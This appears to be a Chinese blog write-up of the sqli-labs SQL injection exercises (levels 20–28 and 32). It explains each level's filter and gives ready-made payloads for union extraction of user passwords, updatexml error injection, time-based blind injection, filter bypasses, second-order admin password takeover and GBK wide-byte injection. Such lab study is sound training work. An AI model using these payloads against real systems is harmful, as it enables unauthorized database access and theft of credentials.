less---20-28

less-20

这关登陆成功会显示cookie,所以抓包在cookie处注入

less-21

这关登陆成功会显示cookie,所以抓包在cookie处注入,发现不成功,查看代码发现被编码

先对注入语句进行base64编码再注入

less-22

闭合字符",同21关

less-23

这关查看代码发现#和--被替换为空格,注释符号被过滤用编码形式和通过括号空格的方式都不成功

使用报错注入就可以,单引号放在1前面

有长度限制也可以联合查询,注释没用可以用单引号闭合

sql 复制代码
?id=1' or '1'='1
//这样sql语句就变成 id='1' or '1'='1'
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

less-24

第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的

猜测管理员账户admin,创建一个admin'#账户由于存在特殊字符转义会创建成功

然后修改密码,由于没有对修改密码过滤,发现最终修改的是管理员密码

修改密码时,数据库内更新数据语句:(pass_change.php)

sql = "UPDATE users SET PASSWORD='pass' where username='username' and password='curr_pass' ";

带入数据就是:

$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

less--25 and or

输入order by显示被过滤成rder by ,可以考虑双写绕过

?id=1%27%20oorrder%20by%203--+

4报错,3正确,是三列,可以使用联合查询

?id=-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),3--+ //查看表名

?id=-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27users%27),3--+ //查看列名

?id=-1%27%20union%20select%201,(select%20group_concat(username,0x23,passwoorrd)%20from%20users),3--+

//求字段

报错注入

?id=1%27%20||%20updatexml(1,concat(0x23,database(),0x23),1)--+

?id=1%27%20%26%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),0x23),1)--+ //也可以用编码代替

less-25a整数闭合,报错没有回显,同25

less-26 空格

单引号闭合空格被过滤,可以加引号闭合

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

?id=1%27||(updatexml(1,concat(0x23,database(),0x23),1))||(%271%27)=%271

?id=1%27||(updatexml(1,concat(0x23,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=%27security%27)),0x23),1))||(%271%27)=%271

less-26a

没有报错信息,用联合查询或者盲注,使用时间盲注

?id=1')%26%26(if(ascii(substr(database(),1,1))>115,sleep(3),0));%00

less-27

过滤

大小写绕过,报错注入

联合查询

less-28

过滤union select组合,报错无回显可以使用时间盲注

宽字节注入less-32

过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路: (

1)%df 吃掉 \ 具体的方法是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数: 1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式)

\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

相关推荐
夏花里的尘埃44 分钟前
vue3实现echarts——小demo
前端·vue.js·echarts
努力学习的木子2 小时前
uniapp如何隐藏默认的页面头部导航栏,uniapp开发小程序如何隐藏默认的页面头部导航栏
前端·小程序·uni-app
java小郭5 小时前
html的浮动作用详解
前端·html
水星记_5 小时前
echarts-wordcloud:打造个性化词云库
前端·vue
强迫老板HelloWord5 小时前
前端JS特效第22波:jQuery滑动手风琴内容切换特效
前端·javascript·jquery
续亮~6 小时前
9、程序化创意
前端·javascript·人工智能
RainbowFish7 小时前
「Vue学习之路」—— vue的常用指令
前端·vue.js
Wang's Blog7 小时前
Webpack: 三种Chunk产物的打包逻辑
前端·webpack·node.js
pan_junbiao7 小时前
HTML5使用<blockquote>标签:段落缩进
前端·html·html5
38kcok9w2vHanx_7 小时前
从0开始搭建vue项目
前端·javascript·vue.js